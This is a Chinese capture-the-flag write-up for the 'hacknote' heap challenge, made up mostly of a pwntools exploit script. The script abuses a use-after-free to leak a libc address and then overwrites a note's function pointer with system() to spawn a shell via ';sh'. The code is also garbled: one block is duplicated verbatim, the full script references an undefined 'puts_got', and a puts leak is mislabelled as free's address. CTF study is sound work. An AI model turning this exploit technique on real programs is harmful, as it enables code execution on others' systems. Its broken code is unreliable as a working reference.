附件
步骤:
利用思路:使用uaf泄露libc,计算system,执行system(‘/bin/sh’)获取shell
print_note的打印功能可以帮助泄露地址。
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
delete(1)
delete(0)
payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2
add(0x80,'aaaa')#0
add(0x80,'bbbb')#1
delete(1)
delete(0)
payload = p32(0x804862b)+p32(0x804a018)
add(8,payload)#2
show(1)
free_addr = u32(p.recv(4))
offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset
用上述的方法,将note的puts函数地址覆写成system函数的地址,将要打印的地址的内容chunk的地址改写成‘/bin/sh’,但是这样失败了,百度后得知如果将puts函数地址覆盖为system地址,system的参数是system函数地址本身,这样肯定不行。但是使用连续执行多条命令的’ ; ‘,第一条执行错误会被忽略,然后执行下一条,因此可以成功将content位置覆盖成 ‘;sh\0’或||sh,同样的然后show(chunk1)就能执行system(‘sh’)得到shell了
delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload)
show(1)
完整exp
from pwn import *
context.log_level='debug'
#p = remote('node3.buuoj.cn',25799)
p=process('./hacknote')
libc = ELF('./libc-2.23-32.so')
def add(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Note size :')
p.sendline(str(size))
p.recvuntil('Content :')
p.send(content)
def delete(index):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
def show(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
add(0x80,'aaaa')
add(0x80,'bbbb')
gdb.attach(p)
delete(1)
delete(0)
payload = p32(0x804862b)+p32(puts_got)
add(8,payload)
show(1)
free_addr = u32(p.recv(4))
offset = libc.symbols['system'] - libc.symbols['free']
system_addr = free_addr + offset
delete(2)
payload = p32(system_addr) + ';sh\0'
add(8,payload)
show(1)
p.interactive()